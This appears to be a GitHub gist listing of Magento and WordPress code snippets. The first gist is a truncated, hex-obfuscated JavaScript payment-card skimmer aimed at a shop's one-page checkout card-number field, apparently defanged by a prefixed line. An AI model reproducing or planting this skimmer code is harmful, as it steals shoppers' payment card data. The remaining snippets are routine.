Main goal is to have a list of useful readings & resources around Magento 2.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| window.stop();break;return;[1!1]; //This part is not part of the code. This is only here to prevent it from being maliciously loaded. | |
| var _0x9e62=["\x70\x61\x74\x68\x6E\x61\x6D\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x2F\x70\x75\x6E\x74\x6F\x64\x65\x63\x72\x75\x7A\x2F\x63\x68\x65\x63\x6B\x6F\x75\x74\x2F\x6F\x6E\x65\x70\x61\x67\x65\x2F","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x67\x6A","\x74\x72\x75\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x70\x61\x79\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x65\x6E\x67\x74\x68","\x30","\x63\x68\x61\x72\x41\x74","\x75\x73\x61\x65\x70\x61\x79\x5F\x63\x63\x5F\x6E\x75\x6D\x62\x65\x72","\x63\x6F\x6C\x6F\x72","\x73\x74\x79\x6C\x65","\x23\x30\x30\x30","\x73\x6F\x75\x72\x63\x65\x2D\x65\x72\x72\x6F\x72\x73","\x64\x69\x73\x70\x6C\x61\x79","\x6E\x6F\x6E\x65","\x74\x65\x78\x74\x43\x6F\x6E\x74\x65\x6E\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x |
-
RequireJs module needs to be defined inside: Your_Module/view/frontend/web/module.js path
-
Simple RequireJs module definition can look like this:
http://collabshot.com/show/A65S78
All custom modules should have a Namespace and Module Name.
These are used below as {Namespace} and {Module}.
Caution: The Magento autoloader is known to have problems with CamelCase namespaces and/or modules between Windows and *nix systems. If your module requires more than one word for either of these, it is best to just concatenate them to avoid any issues (Example:
{Namespace}_{Examplemodule}).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| class Loewenstark_Layout_Model_Observer | |
| { | |
| // set loewenstark_layout.xml before local.xml | |
| public function addLayoutXml($event) | |
| { | |
| $xml = $event->getUpdates() | |
| ->addChild('loewenstark_layout'); | |
| /* @var $xml SimpleXMLElement */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| include_once 'app/Mage.php'; | |
| Mage::init(); | |
| $form=new Varien_Data_Form(array( | |
| 'id'=>'form', | |
| 'action'=>Mage::getUrl('localhost/magento/magento/some_form.php'), | |
| 'method'=>'post', | |
| 'enctype'=>'multipart/form-data')); | |
| $form->addField('radio','text',array('label'=>'name')); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $args = array( | |
| 'post_type' => 'тип поста', | |
| 'posts_per_page' => -1, | |
| 'orderby' => 'id', | |
| 'order' => 'DESC' | |
| ); | |
| $posts = get_posts( $args ); | |
| foreach ( $posts as $post ) { | |
| setup_postdata( $post ); |